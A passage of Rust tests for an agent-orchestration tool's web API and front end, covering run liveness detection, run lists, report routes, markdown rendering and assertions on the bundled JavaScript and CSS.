11403        let rows: std::collections::HashMap<&str, &Value> = summary
11404            .as_array()
11405            .expect("an array")
11406            .iter()
11407            .map(|r| (r["id"].as_str().expect("an id"), r))
11408            .collect();
11409        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11410        assert_eq!(
11411            rows[none_run.id.as_str()]["unmerged_by_design"],
11412            true,
11413            "a mode-none Ready must be flagged in the list"
11414        );
11415        assert_eq!(
11416            rows[pr_run.id.as_str()]["unmerged_by_design"],
11417            false,
11418            "a Ready reached by a closed pull request is a different case"
11419        );
11420
11421        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11422        assert_eq!(none_detail["status"], "ready");
11423        assert_eq!(none_detail["unmerged_by_design"], true);
11424
11425        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11426        assert_eq!(pr_detail["unmerged_by_design"], false);
11427    }
11428
11429    /// `RunState::active` is only ever cleared by whoever populated it, so the
11430    /// detail route also has to say whether a daemon is actually still
11431    /// driving this run right now — otherwise a seat from a killed process's
11432    /// last wave would read as live forever.
11433    #[tokio::test]
11434    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11435        let f = Fixture::start().await;
11436        // Matches `write_daemon`'s hard-coded `current.run`, so the second
11437        // half of this test can claim the daemon is working on it without a
11438        // second helper.
11439        let id = "20260902-140502-bbbb";
11440        let mut state = RunState::new(
11441            PathBuf::from("/repo/magi"),
11442            "main".to_owned(),
11443            "0123456789abcdef".to_owned(),
11444            "Add a web UI".to_owned(),
11445            Config::default(),
11446        );
11447        state.id = id.to_owned();
11448        state.status = RunStatus::Judging;
11449        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11450        let dir = f.runs().join(id);
11451        std::fs::create_dir_all(&dir).expect("run dir");
11452        std::fs::write(
11453            dir.join("run.json"),
11454            serde_json::to_string_pretty(&state).expect("serialize run"),
11455        )
11456        .expect("write run.json");
11457
11458        // No daemon.json at all, and no `driver_pid` recorded either (this
11459        // state was written directly, never through `execute()`): there is
11460        // nothing to confirm either way, so the route must say `"unknown"` —
11461        // never `"dead"`, which is exactly the false diagnosis a manual `magi
11462        // run` used to get from this route before `driver_pid` existed.
11463        let cold = f.get(&format!("/api/runs/{id}")).await.json();
11464        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11465        assert_eq!(cold["live"], "unknown", "{cold}");
11466
11467        // A fresh heartbeat naming exactly this run: the same entry now reads
11468        // as confirmed, not merely recorded.
11469        write_daemon(f.home.path(), Timestamp::now());
11470        let warm = f.get(&format!("/api/runs/{id}")).await.json();
11471        assert_eq!(warm["live"], "live", "{warm}");
11472    }
11473
11474    /// Where a run came from is shown, and a run written before origins were
11475    /// recorded (schema 12, no `origin` key) stays readable and says so.
11476    #[tokio::test]
11477    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11478        let f = Fixture::start().await;
11479        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11480            let mut state = RunState::new(
11481                PathBuf::from("/repo/magi"),
11482                "main".to_owned(),
11483                "0123456789abcdef".to_owned(),
11484                "Add a web UI".to_owned(),
11485                Config::default(),
11486            );
11487            state.id = id.to_owned();
11488            state.origin = origin;
11489            let mut value = serde_json::to_value(&state).expect("serialize run");
11490            if let Some(schema) = schema {
11491                value["schema"] = serde_json::json!(schema);
11492                value.as_object_mut().unwrap().remove("origin");
11493            }
11494            let dir = f.runs().join(id);
11495            std::fs::create_dir_all(&dir).expect("run dir");
11496            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11497        };
11498        write(
11499            "20260930-092817-ec34",
11500            Some(crate::run::Origin::from_agent_env(
11501                Some(("4a7b".to_owned(), "chat".to_owned())),
11502                None,
11503            )),
11504            None,
11505        );
11506        write("20260930-092817-0ld1", None, Some(12));
11507
11508        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11509        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11510        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11511
11512        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11513        assert_eq!(
11514            old["origin_label"], "origin unknown (started before origins were recorded)",
11515            "{old}"
11516        );
11517        assert!(old["origin"].is_null(), "{old}");
11518
11519        let list = f.get("/api/runs").await.json();
11520        let labels: Vec<_> = list
11521            .as_array()
11522            .unwrap()
11523            .iter()
11524            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11525            .collect();
11526        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11527    }
11528
11529    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
11530    /// review` claims no daemon at all, so before this field existed the
11531    /// route above read it as `"dead"` — indistinguishable from a run a
11532    /// killed process abandoned — the whole time it was genuinely still
11533    /// answering. With a live pid recorded, it must read `"live"` even
11534    /// though no daemon claims it.
11535    #[tokio::test]
11536    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11537        let f = Fixture::start().await;
11538        let id = "20260922-090000-cccc";
11539        let mut state = RunState::new(
11540            PathBuf::from("/repo/magi"),
11541            "main".to_owned(),
11542            "0123456789abcdef".to_owned(),
11543            "Review only".to_owned(),
11544            Config::default(),
11545        );
11546        state.id = id.to_owned();
11547        state.status = RunStatus::Reviewing;
11548        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11549        // This test process's own pid: guaranteed alive, and never needs a
11550        // real daemon or a second process to prove it. The matching start-time
11551        // marker is what `liveness` now requires alongside a live pid — see
11552        // `RunState::driver_started_at`'s own doc for why the pid alone is
11553        // not enough.
11554        state.driver_pid = Some(std::process::id());
11555        state.driver_started_at = Some(
11556            crate::proc::process_started_at(std::process::id())
11557                .expect("this test process's own start time must be queryable"),
11558        );
11559        let dir = f.runs().join(id);
11560        std::fs::create_dir_all(&dir).expect("run dir");
11561        std::fs::write(
11562            dir.join("run.json"),
11563            serde_json::to_string_pretty(&state).expect("serialize run"),
11564        )
11565        .expect("write run.json");
11566
11567        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11568        assert_eq!(detail["live"], "live", "{detail}");
11569    }
11570
11571    /// A killed manual run's pid can be handed to a wholly unrelated later
11572    /// process — a live query on `driver_pid` alone would read this as
11573    /// `"live"`, exactly the false positive `driver_started_at` exists to
11574    /// catch (see that field's own doc, and `RunState::liveness_with`'s
11575    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
11576    #[tokio::test]
11577    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11578        let f = Fixture::start().await;
11579        let id = "20260922-090100-dddd";
11580        let mut state = RunState::new(
11581            PathBuf::from("/repo/magi"),
11582            "main".to_owned(),
11583            "0123456789abcdef".to_owned(),
11584            "Review only".to_owned(),
11585            Config::default(),
11586        );
11587        state.id = id.to_owned();
11588        state.status = RunStatus::Reviewing;
11589        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11590        // This test process's own pid really is alive, but the marker
11591        // recorded here does not match what it actually started at —
11592        // standing in for the pid having since been reused by a different
11593        // process than the one that wrote `run.json`.
11594        state.driver_pid = Some(std::process::id());
11595        state.driver_started_at = Some("1".to_owned());
11596        let dir = f.runs().join(id);
11597        std::fs::create_dir_all(&dir).expect("run dir");
11598        std::fs::write(
11599            dir.join("run.json"),
11600            serde_json::to_string_pretty(&state).expect("serialize run"),
11601        )
11602        .expect("write run.json");
11603
11604        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11605        assert_eq!(detail["live"], "dead", "{detail}");
11606    }
11607
11608    /// The deck's competition list is normally the first place an operator
11609    /// sees an old run. It must carry the same process verdict as detail, or
11610    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
11611    #[test]
11612    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11613        let mk = |id: &str, pid: Option<u32>| {
11614            let mut s = RunState::new(
11615                PathBuf::from("/repo/magi"),
11616                "main".to_owned(),
11617                "0123456789abcdef".to_owned(),
11618                "Add a web UI".to_owned(),
11619                Config::default(),
11620            );
11621            s.id = id.to_owned();
11622            s.driver_pid = pid;
11623            s.driver_started_at = Some("1790000000".to_owned());
11624            s
11625        };
11626        let states = vec![
11627            mk("20260902-140502-aaaa", Some(77)),
11628            mk("20260902-140502-bbbb", Some(77)),
11629            mk("20260902-140502-cccc", Some(77)),
11630            mk("20260902-140502-dddd", None),
11631        ];
11632        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11633        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11634        let sup: HashMap<String, String> = [(
11635            "20260902-140502-aaaa".to_owned(),
11636            "20260902-140502-cccc".to_owned(),
11637        )]
11638        .into();
11639
11640        let status_calls = std::cell::Cell::new(0);
11641        let identity_calls = std::cell::Cell::new(0);
11642        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11643            |_| {
11644                status_calls.set(status_calls.get() + 1);
11645                Some(true)
11646            },
11647            |_| {
11648                identity_calls.set(identity_calls.get() + 1);
11649                Some("1790000000".to_owned())
11650            },
11651        ));
11652        let rows = summarize(
11653            states,
11654            &open,
11655            &claimed,
11656            &sup,
11657            |p| probe.borrow_mut().status(p),
11658            |p| probe.borrow_mut().started_at(p),
11659        );
11660
11661        assert_eq!(status_calls.get(), 1, "one pid, one status query");
11662        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11663        assert_eq!(rows.len(), 4);
11664        assert!(!rows[0].waiting && rows[1].waiting);
11665        assert_eq!(rows[0].live, crate::run::Liveness::Live);
11666        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11667        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11668        assert_eq!(rows[1].superseded_by, None);
11669    }
11670
11671    #[test]
11672    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11673        let mut state = RunState::new(
11674            PathBuf::from("/repo/magi"),
11675            "main".to_owned(),
11676            "0123456789abcdef".to_owned(),
11677            "Review only".to_owned(),
11678            Config::default(),
11679        );
11680        state.id = "20260922-090200-dead".to_owned();
11681        state.status = RunStatus::Reviewing;
11682        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11683            .expect("serialize list row");
11684        assert_eq!(row["status"], "reviewing");
11685        assert_eq!(row["live"], "dead", "{row}");
11686        assert!(!row["done"].as_bool().unwrap());
11687    }
11688
11689    #[tokio::test]
11690    async fn the_run_list_is_newest_first_and_honours_a_limit() {
11691        let f = Fixture::start().await;
11692        for id in [
11693            "20260902-140501-aaaa",
11694            "20260902-140502-bbbb",
11695            "20260902-140503-cccc",
11696        ] {
11697            write_run(&f.runs(), id, RunStatus::Merged);
11698        }
11699
11700        let all = f.get("/api/runs").await.json();
11701        let capped = f.get("/api/runs?limit=2").await.json();
11702
11703        assert_eq!(all[0]["id"], "20260902-140503-cccc");
11704        assert_eq!(all.as_array().map(Vec::len), Some(3));
11705        assert_eq!(capped.as_array().map(Vec::len), Some(2));
11706        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11707    }
11708
11709    #[tokio::test]
11710    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11711        let f = Fixture::start().await;
11712        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11713
11714        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11715
11716        assert_eq!(res.status, 200);
11717        assert!(
11718            res.headers
11719                .contains("content-type: text/plain; charset=utf-8"),
11720            "a browser must render it, not download it: {}",
11721            res.headers
11722        );
11723        // The assertion is on content, not on the absence of escapes: colour
11724        // is a process-global that `serve` turns off at startup, and another
11725        // test in this binary may own it while this one runs.
11726        assert!(
11727            res.body.contains("20260902-140501-a1b2"),
11728            "the report is about the run that was asked for: {}",
11729            res.body
11730        );
11731    }
11732
11733    #[tokio::test]
11734    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11735        // The view names the run's state directory, which reads the process-global home.
11736        crate::run::pin_test_home();
11737        let f = Fixture::start().await;
11738        let id = "20260902-140501-a1b2";
11739        write_run(&f.runs(), id, RunStatus::Stalled);
11740        // A stalled panel and one review round, written through the real
11741        // state file so the route reads what a run really leaves behind.
11742        let path = f.runs().join(id).join("run.json");
11743        let mut v: serde_json::Value =
11744            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11745        v["tally"] = serde_json::json!({
11746            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11747            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11748            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11749            "met_quorum": false, "rankings": 1
11750        });
11751        v["reviews"] = serde_json::json!([{
11752            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11753            "e2e_deferred": true,
11754            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11755                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11756            ]}]
11757        }]);
11758        std::fs::write(&path, v.to_string()).unwrap();
11759        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11760        std::fs::write(
11761            f.runs().join("20260902-140502-dead").join("run.json"),
11762            "{not json",
11763        )
11764        .unwrap();
11765
11766        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11767
11768        assert_eq!(res.status, 200, "{}", res.body);
11769        assert!(res.headers.contains("content-type: application/json"));
11770        let j = res.json();
11771        assert_eq!(j["schema"], 1);
11772        assert_eq!(j["header"]["id"], id);
11773        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11774        let kinds: Vec<&str> = j["sections"]
11775            .as_array()
11776            .unwrap()
11777            .iter()
11778            .map(|s| s["kind"].as_str().unwrap())
11779            .collect();
11780        assert_eq!(kinds, ["candidates", "tally", "review"]);
11781        let tally = &j["sections"][1]["tally"];
11782        assert_eq!(
11783            (tally["decided"].clone(), tally["provisional"].clone()),
11784            (false.into(), true.into())
11785        );
11786        let round = &j["sections"][2]["rounds"][0];
11787        assert_eq!(round["e2e"]["state"], "deferred");
11788        assert_eq!(round["findings"][0]["severity"], "major");
11789        assert_eq!(round["findings"][0]["blocking"], true);
11790        assert_eq!(round["findings"][0]["state"], "open");
11791
11792        // The raw route keeps working beside it.
11793        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11794
11795        // An unreadable run is an error, as on the text route, and is counted.
11796        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11797        assert_ne!(bad.status, 200, "{}", bad.body);
11798        assert_eq!(
11799            bad.status,
11800            f.get("/api/runs/20260902-140502-dead/report").await.status
11801        );
11802        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11803        assert_eq!(
11804            f.get("/api/runs/20260902-999999-ffff/report.json")
11805                .await
11806                .status,
11807            404
11808        );
11809    }
11810
11811    #[tokio::test]
11812    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11813        let f = Fixture::start().await;
11814
11815        let html = f.get("/").await;
11816        let css = f.get("/app.css").await;
11817        let js = f.get("/app.js").await;
11818
11819        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11820        assert!(
11821            html.headers
11822                .contains("content-type: text/html; charset=utf-8")
11823        );
11824        assert!(css.headers.contains("content-type: text/css"));
11825        assert!(js.headers.contains("content-type: text/javascript"));
11826        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11827    }
11828
11829    #[test]
11830    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11831        let body = |name: &str| {
11832            let at = APP_JS
11833                .find(name)
11834                .unwrap_or_else(|| panic!("{name} missing"));
11835            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11836        };
11837        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11838        let note = body("function landRoundNote");
11839        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11840        assert!(note.contains("Land round ${round}"));
11841        let land = body("function renderLand");
11842        let note_at = land
11843            .find("landRoundNote(pr)")
11844            .expect("renderLand uses the note");
11845        assert!(
11846            note_at
11847                < land
11848                    .find("roundRail(pr)")
11849                    .expect("renderLand uses the rail")
11850        );
11851    }
11852
11853    #[test]
11854    fn the_runs_page_redesign_keeps_its_guards() {
11855        let body = |name: &str| {
11856            let at = APP_JS
11857                .find(name)
11858                .unwrap_or_else(|| panic!("{name} missing"));
11859            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11860        };
11861        // A null child must never reach the native append (it prints "null").
11862        let land = body("function renderLand");
11863        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11864        assert!(
11865            !land.contains("box.append("),
11866            "renderLand must use append()"
11867        );
11868        assert!(land.contains("append(box, ["));
11869        // Tabs are hash routes; the run id alone decides a reload.
11870        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11871        assert!(
11872            body("function applyRoute")
11873                .contains("route.name !== state.route.name || route.id !== state.route.id")
11874        );
11875        // The decorative diagram is gone, the strip and its guards stay.
11876        assert!(!APP_JS.contains("adviseConvergeDiagram"));
11877        assert!(!INDEX_HTML.contains("advise-converge"));
11878        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11879        assert!(APP_JS.contains("provisional"));
11880        for id in [
11881            "run-tab-overview",
11882            "run-tab-timeline",
11883            "run-tab-report",
11884            "run-report",
11885            "runs-scope",
11886        ] {
11887            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11888        }
11889        assert!(!INDEX_HTML.contains("runs-tree"));
11890        assert!(!INDEX_HTML.contains("run-raw-panel"));
11891        // Fold still says it cannot be resumed.
11892        assert!(APP_JS.contains("resume"));
11893        // The unreadable-runs count stays on the page.
11894        assert!(APP_JS.contains("unreadable"));
11895    }
11896
11897    #[test]
11898    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11899        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11900        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11901        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
11902        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11903        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11904        // The subtitle still counts them whatever the banner does.
11905        assert!(APP_JS.contains("unreadable` : null"));
11906    }
11907
11908    #[test]
11909    fn the_run_detail_payload_says_whether_the_run_is_done() {
11910        // `landView` reads `run.done`; the detail response must carry it.
11911        for (status, done) in [
11912            (RunStatus::Superseded, true),
11913            (RunStatus::Blocked, true),
11914            (RunStatus::Landing, false),
11915        ] {
11916            let mut state = RunState::new(
11917                std::path::PathBuf::from("/repo"),
11918                "main".to_owned(),
11919                "abc".to_owned(),
11920                "x".to_owned(),
11921                crate::config::Config::default(),
11922            );
11923            state.status = status;
11924            let v = serde_json::to_value(RunDetailView::of(
11925                state,
11926                crate::run::Liveness::Unknown,
11927                None,
11928                None,
11929                None,
11930            ))
11931            .unwrap();
11932            assert_eq!(v["done"], done, "{status:?}");
11933        }
11934    }
11935
11936    /// The first node of a markdown block holds a `strong` somewhere.
11937    fn has_strong(nodes: &[md::Node]) -> bool {
11938        serde_json::to_string(nodes).unwrap().contains("strong")
11939    }
11940
11941    #[test]
11942    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11943        let mut state = RunState::new(
11944            std::path::PathBuf::from("/repo"),
11945            "main".to_owned(),
11946            "abc".to_owned(),
11947            "x".to_owned(),
11948            crate::config::Config::default(),
11949        );
11950        let proposal = |approach: &str| {
11951            serde_json::json!({
11952                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11953            })
11954        };
11955        state.advice = Some(
11956            serde_json::from_value(serde_json::json!({
11957                "records": [
11958                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11959                     "proposal": proposal("do **this**")},
11960                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11961                ],
11962                "synthesis": "- one\n- **two**\n\n`code`",
11963            }))
11964            .unwrap(),
11965        );
11966        state.candidates = serde_json::from_value(serde_json::json!([
11967            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11968             "summary": "did **it**"},
11969            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11970        ]))
11971        .unwrap();
11972        // Recorded in ascending severity, the reverse of how the page sorts
11973        // them: the arrays must follow the record, not the display.
11974        state.reviews = serde_json::from_value(serde_json::json!([{
11975            "round": 1, "head": "h",
11976            "reviews": [{
11977                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11978                "findings": [
11979                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
11980                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11981                ],
11982            }],
11983            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11984            "fix": {"agent": "a", "notes": "fixed **it**",
11985                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11986        }, {"round": 2, "head": "h2", "reviews": []}]))
11987        .unwrap();
11988
11989        let v = serde_json::to_value(RunDetailView::of(
11990            state,
11991            crate::run::Liveness::Unknown,
11992            None,
11993            None,
11994            None,
11995        ))
11996        .unwrap();
11997
11998        let strong = |p: &str| {
11999            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12000            assert!(n.to_string().contains("strong"), "{p}: {n}");
12001        };
12002        strong("/advice_md/synthesis");
12003        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12004        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12005        strong("/advice_md/approaches/0");
12006        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12007        strong("/candidate_summaries_md/0");
12008        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12009        strong("/reviews_md/0/reviewers/0/summary");
12010        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12011        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12012        assert!(f[1].to_string().contains("strong"));
12013        strong("/reviews_md/0/reconsideration/0");
12014        strong("/reviews_md/0/fix/notes");
12015        strong("/reviews_md/0/fix/rejected/0");
12016        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12017        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12018        // The raw strings stay, and no schema moved.
12019        assert_eq!(v["candidates"][0]["summary"], "did **it**");
12020        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12021    }
12022
12023    #[test]
12024    fn a_run_without_advice_has_no_advice_md() {
12025        let state = RunState::new(
12026            std::path::PathBuf::from("/repo"),
12027            "main".to_owned(),
12028            "abc".to_owned(),
12029            "x".to_owned(),
12030            crate::config::Config::default(),
12031        );
12032        let p = run_prose_md(&state);
12033        assert!(p.advice_md.is_none());
12034        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12035    }
12036
12037    #[test]
12038    fn a_question_view_carries_markdown_for_each_thread_turn() {
12039        let home = TempDir::new().unwrap();
12040        let store = ask::Questions::at(home.path().join("questions"));
12041        let mut q = Question::new(
12042            "run".to_owned(),
12043            "implement".to_owned(),
12044            "impl-A".to_owned(),
12045            "which?".to_owned(),
12046            String::new(),
12047            Vec::new(),
12048        );
12049        q.say("plain words").unwrap();
12050        q.reply("use **this**", Vec::new()).unwrap();
12051        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12052        let bodies = &v["thread_bodies_md"];
12053        assert_eq!(bodies.as_array().unwrap().len(), 2);
12054        assert!(!bodies[0].to_string().contains("strong"));
12055        assert!(bodies[1].to_string().contains("strong"));
12056    }
12057
12058    #[test]
12059    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12060        // The land panel defers to `run.status` for merged, and labels a
12061        // recorded-open PR on any finished run (superseded, blocked, ...) as
12062        // last seen, never as live state.
12063        assert!(APP_JS.contains("function landView(run, raw) {"));
12064        assert!(
12065            APP_JS.contains(
12066                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12067            )
12068        );
12069        assert!(APP_JS.contains("const pr = landView(run, raw);"));
12070        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12071        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12072        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12073    }
12074
12075    #[test]
12076    fn live_runs_are_never_hidden_or_folded_as_superseded() {
12077        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
12078        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12079        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12080        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12081    }
12082
12083    #[test]
12084    fn review_rounds_label_a_distinct_verified_head() {
12085        assert!(APP_JS.contains("round.verified_head"));
12086        assert!(APP_JS.contains("verified HEAD"));
12087        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12088    }
12089
12090    #[test]
12091    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12092        // A blocked task's chip and note must not fall back to a queued-like
12093        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
12094        // itself by e11fc58 but never checked here.
12095        assert!(APP_JS.contains("blocked: { glyph:"));
12096        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12097
12098        // `blocked_by` mixes task ids and question ids in the same list, and
12099        // the client can only tell them apart by checking each id against
12100        // what it actually knows - never by guessing from the id's shape.
12101        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12102        assert!(
12103            APP_JS.contains(
12104                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12105            ),
12106            "the note line must name what a blocked task is waiting on, not just that it is blocked"
12107        );
12108        // The classification must key off `status_str`, never off `blocked_by`
12109        // or `block_reason` merely being present - both can survive briefly
12110        // on a task a hold or a dead daemon just moved off `blocked`.
12111        assert!(APP_JS.contains("if (status === \"blocked\") {"));
12112
12113        // A question a task is blocked on gets its own node in the same
12114        // dependency graph, not just a task-shaped node with nothing known
12115        // about it.
12116        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12117        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12118        assert!(
12119            APP_JS.contains("location.hash = \"#/questions\";"),
12120            "a question node must jump to the Questions screen, not pretend to be a task"
12121        );
12122
12123        // `Task::answers` - decisions already made - are shown as a record on
12124        // the card, the same disclosure style as the full instruction.
12125        assert!(APP_JS.contains("Resolved questions"));
12126        assert!(APP_JS.contains("r.answersList.append("));
12127        assert!(APP_CSS.contains(".task-answers"));
12128        {
12129            let start = APP_JS
12130                .find("function updateTalkTaskRow")
12131                .expect("updateTalkTaskRow");
12132            let body = &APP_JS[start..];
12133            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12134            assert!(
12135                body.contains(
12136                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12137                ),
12138                "a chat-filed task row must link to the task page"
12139            );
12140            assert!(
12141                !body.contains("#/runs/") && !body.contains("#/queue/"),
12142                "the row must not branch to a run or the queue card"
12143            );
12144            assert!(APP_CSS.contains(".talk-task-link"));
12145        }
12146    }
12147
12148    #[test]
12149    fn a_task_notification_links_to_the_task_page() {
12150        // A task notice opens the task detail page, not the Backlog card.
12151        let start = APP_JS
12152            .find("function noticeLink(")
12153            .expect("noticeLink exists");
12154        let body = &APP_JS[start..];
12155        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12156        assert!(
12157            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12158            "a task notice's link must target the task page"
12159        );
12160        assert!(
12161            !body.contains("#/queue/"),
12162            "regression: the task link must not go back to the Backlog route"
12163        );
12164        assert!(
12165            APP_JS.contains(
12166                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12167            ),
12168            "`#/tasks/<id>` must parse into the task route"
12169        );
12170
12171        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
12172        assert!(
12173            APP_JS.contains(
12174                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12175            ),
12176            "`#/queue/<id>` must parse into a route carrying that id"
12177        );
12178
12179        // And the Backlog view has to actually land on the card once it can
12180        // - see consumeQueueFocus(), which renderQueue() calls on every pass
12181        // so a focus set before the queue has loaded is retried once it has.
12182        assert!(APP_JS.contains("state.queueFocus = route.id;"));
12183        assert!(APP_JS.contains("function consumeQueueFocus()"));
12184        assert!(APP_JS.contains("jumpToTask(id)"));
12185    }
12186
12187    /// Chat rows are two lines at every width: the title alone, then the
12188    /// shrinkable secondary info.
12189    #[test]
12190    fn chat_rows_put_the_title_alone_on_the_first_line() {
12191        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
12192        assert!(APP_CSS.contains(
12193            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12194        ));
12195        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12196        assert!(APP_JS.contains("class: \"badge talk-unread\""));
12197    }
12198
12199    #[test]
12200    fn run_rows_put_the_title_alone_on_the_first_line() {
12201        assert!(
12202            APP_CSS.contains(
12203                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
12204            )
12205        );
12206        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12207        assert!(APP_JS.contains("class: \"card run-card\""));
12208        assert!(APP_JS.contains("class: \"repo run-id\""));
12209    }
